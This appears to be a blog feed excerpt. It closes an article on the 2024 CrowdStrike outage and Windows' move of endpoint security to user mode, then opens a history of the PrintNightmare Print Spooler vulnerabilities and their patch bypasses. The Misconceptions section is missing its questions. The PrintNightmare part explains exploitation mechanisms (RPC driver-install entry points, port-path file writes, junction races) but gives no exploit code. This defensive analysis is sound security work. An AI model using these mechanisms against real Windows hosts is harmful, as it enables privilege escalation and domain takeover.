Build playbooks now for "vendor content update reverted but on-disk-persisted" scenarios. QMR is the platform answer [@mslearn-qmr], but your runbook is what gets your fleet through the first hour before a Microsoft-provided recovery flow is appropriate. The first-hour runbook for July 19, 2024 was "safe-mode boot, delete the file, reboot," and it is worth having that runbook in your incident playbook today for the next analogous event.
Document your AV/EDR vendor's incident-response point of contact and their SLA. The July 19 morning was characterized by vendor-side communication latency in the first hour, not by lack of platform recovery options. Pre-staging the vendor's IR contact and your fleet-wide content-revert process will compress your time-to-mitigation by orders of magnitude.

A cross-platform reality check

A practitioner moving from macOS to Windows in 2026 will find that macOS gave them one architecture (Method C since 2019), Linux gave them one architecture in the opposite direction (eBPF dominant), and Windows is the transitional platform where Methods A, B, C, D, E, and F all coexist in different states of deployment. The architectural choice on Windows in 2026 is not "which method"; it is "which combination, and how to migrate from your current combination to your target combination." That is the bridge-year reality, and it will be the bridge-year reality through at least the late 2020s.

Note: Mid-2026 is the bridge year. Your job is to design for the bridge, not for either bank.

11. Common Misconceptions

Six questions a careful reader will already have answered for themselves, restated here for the reader who arrived at this section via the table of contents.

No. Microsoft Windows behaved exactly as the kernel-driver architecture requires it to behave when a third-party kernel driver faults at elevated IRQL: the kernel had no way to recover, so it stopped. The bug was in CrowdStrike's `csagent.sys` driver consuming a malformed CrowdStrike Channel File. Microsoft's own July 27, 2024 security blog is unambiguous about this: the WinDBG walkthrough names `csagent.sys` as the faulting image and `nt!KiPageFault+0x369` as the kernel handler that received the fault [@ms-secblog-2024-07-27]. The architectural responsibility for the post-outage migration sits with Microsoft as the platform owner, but the proximate technical cause was a third-party kernel driver consuming a third-party content file [@cs-rca-2024-08-06]. Not necessarily. The user-mode EDR architecture closes the *reliability* problem -- a Channel-File-291-class bug in a vendor's content pipeline crashes the vendor's user-mode process, not the kernel. For the *coverage* gaps that user-mode loses on its own (direct syscalls, rootkit visibility, BYOVD detection), Microsoft is layering platform features below the user-mode EDR: hypervisor-assisted introspection via VBS and HVCI [@mslearn-hvci], the Vulnerable Driver Block List for BYOVD [@mslearn-driver-block-rules, @cisa-cm0058], and Defender as the baseline detection floor. Whether the combined stack reaches coverage equivalence with today's kernel-callback EDR is the article's central open question and the honest mid-2026 answer is that it is not yet settled [@weston-2025-06-26, @ms-nov-2025]. The strongest available public signal as of mid-2026 is the November 18, 2025 Microsoft Windows Experience Blog framing that *"AV enforcement"* (not *"third-party AV enforcement"*) is shifting from kernel to user mode -- by plain reading, that includes Defender for Endpoint [@ms-nov-2025]. No Defender-specific GA date for the user-mode migration has been published. The same November 18 post explicitly carves out graphics drivers, which continue to ship in kernel mode for performance reasons -- so the WRI is, narrowly, an AV-enforcement migration and not a wholesale third-party kernel-driver lockout [@ms-nov-2025]. Probably elevated, but no public primary source establishes the specific IRQL value. The article says only that the fault occurred at an interrupt request level high enough that the kernel could not unwind to a structured exception handler in any meaningful way. Treat any IRQL-specific claim about Channel File 291 from a third-party source as speculation unless they cite a primary source that publishes the value. Microsoft's own July 27, 2024 post-mortem reproduces the WinDBG dump but does not publish the IRQL value at the moment of the fault [@ms-secblog-2024-07-27]; neither does CrowdStrike's August 6, 2024 Root Cause Analysis [@cs-rca-2024-08-06]. No. The Microsoft response is squarely a U.S.-side platform-stewardship response to a U.S.-litigated incident. European regulatory frameworks were part of the policy backdrop, and U.S. federal frameworks (Government Accountability Office, Congressional Research Service, House Homeland Security Subcommittee) shaped the political environment [@gao-24-107733, @crs-if12717-everycrsreport, @homeland-hearing-page, @govinfo-chrg-118hhrg60030]. But the proximate political cause was the operational loss of 8.5 million Windows hosts and the Congressional accountability event that followed; no regulatory body mandated the WRI's specific architectural choices. Architecturally it is not different in any structural way. Both were vendor content updates that caused vendor kernel drivers to misbehave at fleet scale. McAfee DAT 5958 was a false positive on `svchost.exe` that triggered the McAfee kernel driver to quarantine the system file, putting Windows XP SP3 fleets into reboot loops [@uscert-mcafee-2010, @sans-isc-8656, @askperf-mcafee]. CrowdStrike Channel File 291 was a parameter-count mismatch that triggered the CrowdStrike kernel driver to dereference an unmapped address, producing `PAGE_FAULT_IN_NONPAGED_AREA` [@cs-rca-2024-08-06]. The differences were the *scale* of the 2024 event (8.5 million Windows hosts versus a far smaller XP fleet in 2010) and the *cost calculus* -- by 2024, fourteen years of recurring kernel-driver-bricks-fleet incidents had raised the political cost of doing nothing past the point where Microsoft could be politically attacked for taking action [@three-buddy-ep5].

The seventy-eight-minute window of July 19, 2024 collapsed twenty years of political resistance to the Vista-era idea that vendor-authored kernel-mode code is a fleet-scale reliability liability, and accelerated Microsoft's Windows Resiliency Initiative into a multi-year, partner-coordinated migration that puts third-party endpoint security where Apple put it in 2019 [@apple-esf-docs] and where Microsoft itself had been quietly building the platform pieces since at least 2021 [@msft-ebpf-windows, @mslearn-hvci]. The 8.5 million figure from Brad Smith's morning-after blog post [@ms-bradsmith-2024-07-20] is the empirical anchor that supplied the political license; the Toulouse 2006 quote "either everybody has access to the kernel, or nobody does" [@informationweek-2006-toulouse] is the historical anchor that supplied the architectural answer; the Ionescu pivot of April 3, 2025 [@cs-ionescu-ctio-2025-04-03] is the political anchor that demonstrated the answer would not be fought.

Whether user-mode EDR with hypervisor-assisted memory introspection can deliver the coverage equivalence that twenty-five years of kernel-mode hooking has built is the next decade's research problem, and the honest mid-2026 answer is we do not yet know. The macOS seven-year ESF deployment supplies the strongest available yes evidence; the not-yet-stress-tested MVI 3.0 rings supply the strongest available not-yet-discriminated evidence; the BYOVD enforcement gap that no public source quantifies supplies the strongest available honest concern [@cisa-cm0058].

Key idea: July 19, 2024 did not invent the architecture; it provided the political license for an architecture two other operating systems had already validated. The next several years will tell us whether the architecture, transplanted to Windows under the WRI, reaches feature equivalence with the kernel-mode hooking it replaces, or whether the equivalence question is the wrong question and the right question is whether the platform features layered below the user-mode broker close enough of the coverage gap. The honest answer mid-2026 is that the question is genuinely open, and the next public evidence -- the first MVI 3.0 ring stop-gate event, the first Defender-kernel-out GA, the first quantified HVCI enablement statistic -- is the evidence to watch for.

Companion articles in this series cover the substrate pieces in more depth: EDR/Sysmon as the canonical user-mode consumer of kernel ETW telemetry [@mslearn-sysmon]; Vulnerable Driver Block List as Microsoft's BYOVD platform mitigation; Process Mitigation Policies and Defender for Endpoint baselines; and Event Tracing for Windows as the cross-cutting platform observability substrate.

Picture the release engineer at the CrowdStrike Falcon Cloud rollout console at 04:09 UTC on a Friday morning in July 2024, watching the deployment indicator go from staging to production for Channel File 291, with no idea that the seventy-eight-minute window about to open would be the most consequential window in twenty-five years of Windows security architecture. The engineer did everything right; the architecture, on that morning, did exactly what twenty-five years of decisions had configured it to do; and the next two years of Microsoft platform engineering, vendor-side rewrites, and political alignment exist to make sure that the next time something similar happens, it does not look like that.

Three Years of PrintNightmare: How the Oldest Windows Service Survived Four Patch Waves

noreply@paragmali.com (Parag Mali) — Tue, 02 Jun 2026 00:00:00 GMT

Between June 2021 and August 2024, Microsoft patched the Windows Print Spooler four times for what the press collectively called PrintNightmare. The patches did not converge. Each wave revealed the last one as a behavior restriction rather than an architectural change. By October 2024 Microsoft had shipped two parallel architectural answers: Windows Protected Print Mode (WPP), an opt-in driverless local stack with a lower-privilege Spooler Worker process; and Universal Print, a cloud-hosted replacement. Two answers, because the local SYSTEM-context driver-loading primitive the spooler was built around in the early 1990s cannot be sandboxed without breaking the printer install base that depends on it. This article traces nine related Spooler EoP and RCE primitives from 2010 to 2024, the architectural concession that ended the patch cycle, and why no single 2026 configuration is the full answer.

1. June 29, 2021: The Repository That Should Not Have Existed

On June 29, 2021, three researchers from Sangfor Technology -- Zhiniang Peng, Xuefeng Li, and Lewis Lee -- pushed a GitHub repository named afwu/PrintNightmare containing a working proof-of-concept exploit against the Windows Print Spooler service. The repository had been prepared for their upcoming Black Hat USA 2021 briefing, "Diving Into Spooler: Discovering LPE and RCE Vulnerabilities in Windows Printer" [@infocondb-bh2021-sangfor]. The team believed Microsoft's June 8 Patch Tuesday update had fixed the vulnerability they were about to demonstrate.

Within hours the repository was deleted. By then it had already been mirrored on multiple GitHub accounts and was spreading [@hackernews-printnightmare-poc-leak]. By the end of the day, the internet had a new name for the bug class: PrintNightmare. And by the end of the week, Microsoft, CERT/CC, and CISA had each independently confirmed what the Sangfor team realized about an hour after the deletion: the June 8 patch did not actually fix the vulnerability they had reported, and now the world had a working exploit for it [@cert-vu-383432] [@bleepingcomputer-domain-takeover].

The Wayback Machine preserves the original README. Below the technical description, the Sangfor team explained why they had thought it was safe to publish: Microsoft's June 8 advisory had marked CVE-2021-1675 as a local "Privilege Escalation" with a CVSS v3.1 base score of 7.8 [@nvd-cve-2021-1675]. The bug Sangfor had separately reported and analyzed was, they believed, a different bug -- a remote code execution against the same service. They were correct. Nobody knew it yet.Microsoft silently reclassified CVE-2021-1675 from "Elevation of Privilege" to "Remote Code Execution" on June 21, 2021, after community analysis demonstrated the remote primitive. The reclassification appears in the NVD entry's revision history [@nvd-cve-2021-1675] and was reported the same week by BleepingComputer [@bleepingcomputer-domain-takeover]. The Sangfor team's confusion was reasonable: the advisory they were reading on June 28 still said EoP.

The README's most striking line is an apology. "CVE-2021-1675 is a remote code execution in Windows Print Spooler," it begins. Then, two paragraphs in: "We also found this bug before and hope to keep it secret to participate Tianfu Cup" [@afwu-wayback-snapshot]. The Sangfor team had discovered the same primitive months earlier, planned to use it for the Tianfu Cup capture-the-flag prize money, and reasoned that Microsoft's June 8 patch had now closed it.The Tianfu Cup is a Chinese-government-organized exploit competition. Chinese researchers are restricted from foreign competitions like Pwn2Own by a 2018 directive and instead route their work through Tianfu. Holding a bug secret to maximize Tianfu prize money is a known practice; what is unusual here is the public admission of the practice in an apology README.

The rest of this article is about two questions. First: why does a single Windows service produce, on the public record, nine independently classed SYSTEM-code-execution primitives across fifteen years? Second: why does the answer Microsoft eventually shipped in 2024 take the form of two parallel architectures rather than one patch? We will not tell you which configuration to deploy. We will tell you why neither one alone is the full answer, and why that is the only honest place to land.

To understand why one Windows service can leak a SYSTEM-execution primitive to anyone who can reach an RPC named pipe on a domain controller, we have to understand what the service is for.

2. The Artifact: What `spoolsv.exe` Is and Why It Was Built This Way

The Windows Print Spooler service has been part of Windows continuously since the Windows NT era of the early 1990s.The "Windows NT 3.1, July 1993" attribution often cited for the first Print Spooler service is folk knowledge. Microsoft's own Learn documentation anchors the spooler architecture to "Microsoft Windows 2000 and later" [@ms-print-spooler-architecture], and the Windows Internals team writes that the spooler is "largely unchanged since Windows NT 4" [@windows-internals-printdemon]. The early-1990s framing is the safe one. Same name today (spoolsv.exe), same security context (LocalSystem), same RPC interface family, same in-process third-party DLLs (Print Providers, Print Processors, driver components). The interesting question is not why the spooler still has bugs. It is why a service designed before AppContainer, before Mandatory Integrity Control, before AMSI, before Driver Signature Enforcement -- before the entire modern Windows security architecture existed -- still occupies the same SYSTEM-context process slot it did in 1996.

2.1 Anatomy

spoolsv.exe is, in Microsoft's own words, "the spooler's API server" [@ms-intro-spooler-components]. The Service Control Manager starts it at boot under the LocalSystem account. Inside the process, the router DLL spoolss.dll dispatches incoming API calls to one of three Print Provider DLLs [@ms-print-spooler-architecture].

The Windows service that mediates between print clients and printer drivers. It runs continuously as LocalSystem, exposes an RPC interface over the `\PIPE\spoolss` named pipe, and loads third-party Print Provider, Print Processor, and printer driver DLLs into its address space [@ms-intro-spooler-components]. Almost every named Print Spooler vulnerability since 2010 has cashed out as SYSTEM-context code execution inside this process.

The three Print Providers handle three kinds of printer connections. The Local Print Provider localspl.dll handles printers attached or shared on the local machine. The Remote Print Provider win32spl.dll handles printers reached via Windows networking. The HTTP / IPP Print Provider inetpp.dll handles printers exposed over the Internet Printing Protocol [@ms-print-spooler-architecture] [@ms-intro-spooler-components].

The three router-loaded DLLs that dispatch print operations to the appropriate transport. `localspl.dll` (Local Print Provider) handles local and SMB-shared printers; `win32spl.dll` (Remote Print Provider) handles Windows-network remote printers; `inetpp.dll` (HTTP / IPP Print Provider) handles IPP printers reached over HTTP [@ms-print-spooler-architecture]. The chain is often confused with the Print Processor layer (a different layer entirely; see below).

Once a print job is accepted, a separate component decides how to render it. That component is the Print Processor. The default Print Processor is winprint.dll. It is a sibling layer to the Print Providers, not a member of the chain.

The component that interprets the spool file format (EMF, XPS, RAW, TEXT) and renders pages for a specific printer. `winprint.dll` is the default Print Processor that ships with Windows. Vendor-supplied Print Processors can be installed alongside it. A common pre-research misclassification names `winprint.dll` as a Print Provider; it is not. The Print Providers handle which printer; the Print Processor handles how to render the page [@ms-print-spooler-architecture].

Clients of spoolsv.exe are winspool.drv locally and win32spl.dll remotely [@ms-intro-spooler-components]. A user-mode application that calls a Win32 print API (OpenPrinter, EnumPrinters, AddPrinter, AddPrinterDriverEx) is, under the covers, sending an RPC request to spoolsv.exe through one of these client libraries.

flowchart TD SCM["Service Control Manager"] --> SPOOLSV["spoolsv.exe
LocalSystem"] SPOOLSV --> ROUTER["spoolss.dll
(router)"] ROUTER --> LOCALSPL["localspl.dll
Local Print Provider"] ROUTER --> WIN32SPL["win32spl.dll
Remote Print Provider"] ROUTER --> INETPP["inetpp.dll
HTTP / IPP Print Provider"] ROUTER --> WINPRINT["winprint.dll
Print Processor"] PIPE["\PIPE\spoolss
(named pipe / ncacn_np)"] --> SPOOLSV WINSPOOL["winspool.drv
local clients"] --> PIPE REMOTE["win32spl.dll
remote clients"] --> PIPE SPOOLSV -. opt-in INF .-> PIH["PrintIsolationHost.exe
(sibling, LocalSystem)"] PIH --> VDRIVER["vendor driver DLLs"]

2.2 The RPC Surface

The Print Spooler exposes two RPC interface families. MS-RPRN is the synchronous Print System Remote Protocol. MS-PAR is its asynchronous counterpart. Both bind to the same named pipe.

Microsoft's two open-specification RPC protocols for remote print management. MS-RPRN is synchronous; MS-PAR is asynchronous. The MS-RPRN specification states that "The RPC Protocol Sequence MUST be `ncacn_np`. The RPC Protocol Sequence Endpoint MUST be `\PIPE\spoolss`" [@ms-rprn-spec]. Both interfaces expose driver-installation entry points: `RpcAddPrinterDriverEx` in MS-RPRN [@ms-rprn-rpcaddprinterdriverex] and `RpcAsyncAddPrinterDriver` in MS-PAR [@ms-par-rpcasyncaddprinterdriver]. MS-PAR's documentation states verbatim that the latter is "The counterpart of this method in the Print System Remote Protocol."

Two symmetric entry points are the architectural seed of the entire PrintNightmare patch tree. RpcAddPrinterDriverEx (MS-RPRN section 3.1.4.4.8, Opnum 89) "installs a printer driver on the print server" [@ms-rprn-rpcaddprinterdriverex]. RpcAsyncAddPrinterDriver (MS-PAR section 3.1.4.1, Opnum 39) does the same thing through the asynchronous interface [@ms-par-rpcasyncaddprinterdriver]. When the June 8, 2021 patch tightened access checks on the first entry point, the second one remained as the obvious next bypass target. We will come back to this.

The authentication boundary is the part most worth dwelling on, because the answer is structurally surprising. MS-RPRN does no authentication at the protocol layer. The MS-RPRN Transport section states this verbatim: "The client MUST use no authentication, and the server MUST accept connections without authentication" [@ms-rprn-transport]. The initialization section adds that the binding handle "MUST specify an ImpersonationLevel of 2 (Impersonation)" against the SMB2 transport [@ms-rprn-initialization]. The RPC layer trusts whatever caller identity SMB hands it.

This means the practical authentication boundary on \PIPE\spoolss is the SMB named-pipe access control surface, not the RPC server. Two security policy settings govern that surface. The first, Network access: Restrict anonymous access to Named Pipes and Shares (the RestrictNullSessAccess registry value under HKLM\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters), has shipped at value 1 -- enforced -- by default since Windows Vista; its effective default is "Enabled" on stand-alone servers, domain controllers, member servers, and client computers [@ms-restrict-anonymous-named-pipes]. The second, Network access: Named Pipes that can be accessed anonymously (the NullSessionPipes list), enumerates the small set of pipes that an unauthenticated caller is allowed to touch even when the first policy is enforced. spoolss is not on the default NullSessionPipes list [@ms-named-pipes-anonymous].The combination of these two settings is what makes a default modern Windows host immune to anonymous-SMB reachability of \PIPE\spoolss. The MS-RPRN spec's "MUST use no authentication" sentence [@ms-rprn-transport] reads like a security failure in isolation; combined with RestrictNullSessAccess=1 and the absence of spoolss from NullSessionPipes [@ms-restrict-anonymous-named-pipes] [@ms-named-pipes-anonymous], it becomes a deliberate division of labour: RPC does not authenticate; SMB does. The architectural cost is that the boundary is administered through two settings on a different policy surface than the spooler itself.

On a default Windows 11 24H2 host with the Print Spooler running, then: an unauthenticated remote attacker on the network cannot reach \PIPE\spoolss. A domain user authenticated to the same Active Directory forest can. That is the practical reachability boundary that CERT/CC and CISA had in mind when they called PrintNightmare a "domain takeover" primitive [@bleepingcomputer-domain-takeover] [@cisa-ed-21-04]: any domain user reaches the spooler on a domain controller; the spooler executes attacker-supplied code as LocalSystem; that LocalSystem code now runs on a host that owns the domain. The "domain user can reach it" half is true because SMB authenticates the user and the RPC layer accepts whatever SMB says; the "executes attacker-supplied code as LocalSystem" half is the architectural primitive section 2.3 will name.

2.3 The Back-Compat Constraint

Why has the architecture not been replaced? Because essentially every Windows-compatible printer manufactured since 1993 ships a third-party driver DLL that expects to be loaded into spoolsv.exe as LocalSystem.

The v3 driver model -- introduced with Windows 2000 -- loads driver render code into the spooler process by default [@ms-print-spooler-architecture]. The v4 driver model, introduced with Windows 8, was a simpler XPS-based alternative meant to package drivers in a way that worked across multiple Windows form factors [@ms-print-spooler-architecture]. It did not replace v3. The two coexisted for more than a decade. The IPP class driver [@ms-modern-print-platform], which lets Windows print to any Mopria-certified printer without any vendor-specific driver at all, was not even an option for the first twenty years of the spooler's life [@mopria-certified-products].

What this means in practice: the installed base of printers in 2021 was overwhelmingly v3 drivers, signed by vendors, packaged for LocalSystem load. A naive "sandbox the spooler" change that broke that loading model would break printing for every one of those printers. Microsoft has spent twenty years trying not to make printing not work. That constraint is the protagonist of the rest of the article.

2.4 Point and Print and Why It Is Its Own Constraint

Point and Print is the SMB-fetch-and-install-driver-on-print behavior introduced with Windows NT 4.0. When a client first prints to a shared printer, the spooler downloads the driver package from the print server and installs it locally. The user does not have to be an administrator.

A Windows print-client behavior in which a non-administrator user, on first use of a shared printer, causes their machine's spooler to download and install the printer's driver package from the print server. Two Group Policy registry values govern whether the user is warned and whether elevation is suppressed: `NoWarningNoElevationOnInstall` (suppress install-time elevation) and `NoWarningNoElevationOnUpdate` (suppress update-time elevation) [@kb-5005010-topic] [@kb-5005652-topic]. The Microsoft-supplied "fix" to this design surface is a third registry value, `RestrictDriverInstallationToAdministrators`, which overrides both.

Bake "any authenticated user can cause a driver DLL to be downloaded and registered" into a protocol and you have, by construction, a low-privilege code-installation path. The two relevant Group Policy levers (NoWarningNoElevationOnInstall and NoWarningNoElevationOnUpdate) and the registry override (RestrictDriverInstallationToAdministrators) all existed before PrintNightmare. All three defaulted to the permissive position. The June 2021 disclosure made the permissive defaults visible.

Key idea: Three of the four Print Spooler design choices -- LocalSystem context, third-party DLL loading, and a low-privilege RPC entry point -- form the architectural primitive. The rest of this article is the story of what happens when the security community discovers, again and again, that any single primitive of that shape produces a SYSTEM-execution bug by construction.

3. Pre-history: Stuxnet, PrintDemon, and the Bug Class That Already Had a Decade Behind It

PrintNightmare is the name the press gave to a 2021 disclosure event. The bug class behind that event is older. The first weaponized Print Spooler privilege-escalation primitive in the public record is from 2010, and it is famous. It was one of the four zero-days Stuxnet chained to reach centrifuge controllers in Natanz.

3.1 CVE-2010-2729 (Stuxnet, MS10-061)

In September 2010, Microsoft shipped MS10-061 to patch a Print Spooler Service Impersonation Vulnerability that "could allow remote code execution if an attacker sends a specially crafted print request to a vulnerable system that has a print spooler interface exposed over RPC" [@ms-bulletin-ms10-061]. The NVD entry classifies it as a CWE-20 Improper Input Validation in the Print Spooler service that, "when printer sharing is enabled, does not properly validate spooler access permissions" [@nvd-cve-2010-2729]. NVD records publication on September 15, 2010 [@nvd-cve-2010-2729].

The Symantec dossier on Stuxnet [@symantec-stuxnet-dossier-broadcom] is the canonical technical history of the Iran-Natanz campaign and is out of scope here. What matters for the Print Spooler story is the architectural pattern Stuxnet's operators noticed. A low-privilege caller could reach a SYSTEM-context RPC service, get the service to do something on the caller's behalf (write a file, load a DLL, validate a credential), and turn that operation into SYSTEM-context code execution. That pattern is the same one every later PrintNightmare-family bug exploits. The 2010 case is not the first instance of the pattern in Windows. It is the first instance of the pattern in the Windows Print Spooler in the public record.

3.2 CVE-2020-1048 (PrintDemon, May 2020)

Ten years later, in May 2020, two independent research teams published essentially the same Print Spooler bug. Peleg Hadar and Tomer Bar at SafeBreach Labs presented their work at DEF CON Safe Mode 2020 [@defcon-28-hadar-bar-pdf]. Yarden Shafir and Alex Ionescu at Windows Internals wrote it up under the name PrintDemon [@windows-internals-printdemon].The co-discovery pattern is the norm for high-value Windows-internals research. Two well-resourced teams looked at the same architectural primitive and arrived at the same vulnerability within weeks of each other. The May 2020 Microsoft Security Response Center acknowledgments credit both groups. The vulnerability was assigned CVE-2020-1048.

The mechanism: spoolsv.exe accepts a Win32 print API call to set a printer port. The port string can be a file path. The spooler, running as LocalSystem, then writes spool data to that file path. A low-privilege user can therefore cause SYSTEM-context arbitrary writes to anywhere on the filesystem. NVD classifies the bug as CWE-669 Incorrect Resource Transfer Between Spheres [@nvd-cve-2020-1048].

The Shafir-Ionescu writeup is the source of the line that most concisely captures the spooler's long arc:

The Print Spooler continues to be one of the oldest Windows components that still has not gotten much scrutiny, even though it is largely unchanged since Windows NT 4, and was even famously abused by Stuxnet. -- Yarden Shafir and Alex Ionescu, May 2020 [@windows-internals-printdemon]

3.3 CVE-2020-1337 (PrintDemon Redux, August 2020)

Microsoft patched CVE-2020-1048 on May 12, 2020. Three months later, on August 11, 2020 Patch Tuesday, Microsoft patched CVE-2020-1337. Paolo Stagno (VoidSec) had demonstrated that the May patch was bypassable through an NTFS junction race [@voidsec-cve-2020-1337]. NVD classes the bypass as a CWE-367 TOCTOU [@nvd-cve-2020-1337].

The mechanism is the canonical pattern for path-validation patches. Microsoft's May fix resolved the printer port file path, validated it as benign, then re-resolved it during the actual spool write. Between check and use, a non-administrator could substitute a reparse point that redirected the write to a SYSTEM-writable target. The patch had moved the security check; the architectural primitive (SYSTEM-context filesystem operation on a caller-controlled path) was unchanged.

The detail to file away: the exact same primitive, NTFS reparse points racing a spooler-side resolve-validate-use sequence, would resurface eighteen months later in SpoolFool. Same primitive, different entry point.

3.4 The Pattern Nobody Had Yet Named

Three independent research efforts (the Microsoft analysis post-Stuxnet, the SafeBreach and Windows Internals work in 2020, the Sangfor work that would surface in 2021) each rediscovered variants of the same architectural primitive. The frustration the §1 hook left implicit is now nameable. The security community had documented this primitive twice before PrintNightmare became a news event.

Will Dormann's CERT/CC advisory VU#383432 (issued June 30, 2021) was not, strictly speaking, about the bug. It was about the disclosure-norms failure that turned an internal bug into an internet-mirrored zero-day inside twenty-four hours. Dormann wrote in plain language:

CVE-2021-34527 is similar but distinct from the vulnerability that is assigned CVE-2021-1675, which addresses a different vulnerability in `RpcAddPrinterDriverEx()`. The attack vector is different as well. -- Will Dormann, CERT/CC VU#383432, June 30, 2021 [@cert-vu-383432]

The sentence is unusual for a CERT advisory because it concedes mid-disclosure that the June 8 patch had named one CVE and the public exploits were targeting another. CERT/CC's explicit "does NOT protect" framing -- which we quote verbatim in section 4.1 at the point in the patch-cascade narrative where it lands hardest -- followed in the same advisory and made the gap unmistakable.

PrintNightmare is not the name of a CVE. It is the name a panic gave, in the last week of June 2021, to a class of Print Spooler EoP and RCE primitives that had already been exploited in production eleven years earlier and rediscovered by independent researchers fourteen months earlier. The 2021 event made the class famous. It did not invent the class.

The next section is what happened when Microsoft and the security community spent three years trying to patch the class out of existence one entry point at a time.

4. The Patch Cascade: Four Generations of PrintNightmare

Between June 8, 2021, and August 13, 2024, Microsoft shipped four named patch waves targeting the PrintNightmare bug class. None of the first three converged. The fourth was issued for an unrelated-looking CVE (CVE-2024-38198) that turned out to be exploitable against a primitive the September 2021 wave had already documented as residual.

The Mermaid gantt below sets the spine of the timeline. It runs from Stuxnet through the announced third-party-driver end-of-servicing milestones in 2027. Every later subsection of this article maps to a bar in this chart.

gantt title Print Spooler hardening timeline 2010-2027 dateFormat YYYY-MM-DD axisFormat %Y section Bugs CVE-2010-2729 Stuxnet :crit, 2010-09-15, 60d CVE-2020-1048 PrintDemon :crit, 2020-05-12, 60d CVE-2020-1337 PrintDemon redux :crit, 2020-08-11, 60d CVE-2021-1675 :crit, 2021-06-08, 30d CVE-2021-34527 PrintNightmare :crit, 2021-07-01, 30d CVE-2021-34481 :crit, 2021-07-15, 30d CVE-2021-36958 :crit, 2021-09-14, 30d CVE-2022-21999 SpoolFool :crit, 2022-02-08, 30d CVE-2024-38198 :crit, 2024-08-13, 30d section Patches MS10-061 :active, 2010-09-14, 30d KB5004945 emergency :active, 2021-07-06, 30d KB5005010 default flip :active, 2021-08-10, 30d KB5005652 policy rewrite :active, 2021-09-14, 30d SpoolFool fix :active, 2022-02-08, 30d Redirection Guard :active, 2023-12-01, 60d section Architecture WPP announced :done, 2023-12-13, 30d WPP ships opt-in 24H2 :done, 2024-10-01, 30d No new 3p drivers WU :2026-01-15, 30d IPP class preferred :2026-07-01, 30d 3p driver servicing ends :2027-07-01, 30d

4.1 Generation 1: The June 8 Patch and the Sangfor Disclosure Failure

On June 8, 2021 Patch Tuesday, Microsoft fixed CVE-2021-1675, a Windows Print Spooler Elevation of Privilege Vulnerability rated CVSS v3.1 7.8 local EoP [@nvd-cve-2021-1675]. The fix added an authorization check to RpcAddPrinterDriverEx (MS-RPRN section 3.1.4.4.8) so that a low-privilege user could no longer install an arbitrary printer driver into the spooler process via that synchronous entry point [@ms-rprn-rpcaddprinterdriverex]. Microsoft credited Zhipeng Huo (Tencent Security Xuanwu Lab), Piotr Madej (AFINE), and Yunhai Zhang (NSFOCUS Security Team), as recorded in the Wayback snapshot of the Sangfor README [@afwu-wayback-snapshot]. Three reporters. No Victor Mata. Mata enters this story later, in section 4.3.

On June 21, 2021, Microsoft silently reclassified CVE-2021-1675 from EoP to RCE [@nvd-cve-2021-1675]. BleepingComputer's June 30 article documents the reclassification and the subsequent confusion it caused [@bleepingcomputer-domain-takeover]. The Sangfor team had been working from the June 8 advisory's EoP framing; by the time they noticed the reclassification, their PoC was already mirrored across the internet.

The chaos compressed into seventy-two hours. June 29: Sangfor pushes afwu/PrintNightmare, then deletes the repository on realizing the RCE was unpatched. June 30: public mirrors propagate across multiple GitHub accounts; CERT/CC publishes VU#383432 [@cert-vu-383432]; Sergiu Gatlan files the BleepingComputer "domain takeover" story [@bleepingcomputer-domain-takeover]. July 1: Microsoft assigns CVE-2021-34527 as a separate-bulletin entity covering the unpatched RCE primitive [@nvd-cve-2021-34527] [@msrc-cve-2021-34527]. CERT/CC documents the CVE pair as "similar but distinct" with the qualifier that "the attack vector is different as well" [@cert-vu-383432]. They are not the same bug; the new CVE is not simply the "remote" version of the old one.

This update does NOT protect against public exploits that may refer to PrintNightmare or CVE-2021-1675. -- Will Dormann, CERT/CC VU#383432 [@cert-vu-383432]

CERT/CC's only available mitigation, in the window between July 1 and the emergency patch, was to stop and disable the Spooler service entirely [@cert-vu-383432]. The runnable block below models the PowerShell logic in JavaScript (the blog runtime supports JS, not PowerShell). The semantics are the same: turn the service off, verify it stays off across reboot.

{// Original PowerShell from CERT/CC VU#383432: // Stop-Service -Name Spooler -Force // Set-Service -Name Spooler -StartupType Disabled // Get-Service -Name Spooler // // The probe below models the resulting state machine so you can // see what "safe" looks like for a domain controller under CISA // Emergency Directive 21-04. const spoolerState = { status: 'Stopped', startupType: 'Disabled' }; const isCertSafe = spoolerState.status === 'Stopped' && spoolerState.startupType === 'Disabled'; console.log(isCertSafe ? 'OK: spooler stopped and disabled (CERT/CC mitigation in force)' : 'WARN: spooler running or set to auto-start (vulnerable surface present)');}

On July 6 and July 7, 2021, Microsoft shipped KB5004945 out-of-band. The NVD entry for CVE-2021-34527 records both shipping dates verbatim: "UPDATE July 7, 2021: The security update for Windows Server 2012, Windows Server 2016 and Windows 10, Version 1607 have been released" [@nvd-cve-2021-34527]. KB5004945's summary line is unambiguous: "Updates a remote code execution exploit in the Windows Print Spooler service, known as PrintNightmare, as documented in CVE-2021-34527" [@kb-5004945-help].KB5004945's SKU fan-out was unusually wide. Microsoft shipped the patch for Windows 10 across multiple feature updates, for Windows 11 (just-released at the time), for Windows Server 2016/2019/2022, and for ESU-only SKUs back through Windows 7 SP1 and Windows Server 2008 R2 [@kb-5004945-help]. The fan-out signals how broadly the vulnerable surface had spread across the supported install base, which is most of the reason the press could describe the bug as fleet-wide.

The patch had two parts. The first closed the immediate RCE. The second added a new Group Policy registry value: RestrictDriverInstallationToAdministrators. KB5004945 shipped this value as OFF by default. KB5005010 (released August 10, 2021) records the timeline of the default flip verbatim: "Updates released July 6, 2021 or later have a default of 0 (disabled) until updates released August 10, 2021. Updates released August 10, 2021 or later have a default of 1 (enabled)" [@kb-5005010-topic].

The patch had a switch. The switch was off by default. The press named the bug PrintNightmare. By the end of the first week, the patch had not, in practice, been applied to most of the installed base.

4.2 Generation 2: `@cube0x0`, MS-PAR, and the Asynchronous-Variant Patch Bypass

After KB5004945 closed the synchronous RpcAddPrinterDriverEx entry point on MS-RPRN, a researcher under the handle @cube0x0 updated his repository to target the symmetric asynchronous entry point in MS-PAR. Different protocol family. Same primitive. No patch.

RpcAsyncAddPrinterDriver (MS-PAR section 3.1.4.1, Opnum 39) is, in Microsoft's own words, "The counterpart of this method in the Print System Remote Protocol" [@ms-par-rpcasyncaddprinterdriver]. CERT/CC's updated VU#383432 names the bypass explicitly:

While original exploit code relied on the `RpcAddPrinterDriverEx` to achieve code execution, an updated version of the exploit uses `RpcAsyncAddPrinterDriver` to achieve the same goal. -- Will Dormann, CERT/CC VU#383432 update [@cert-vu-383432]

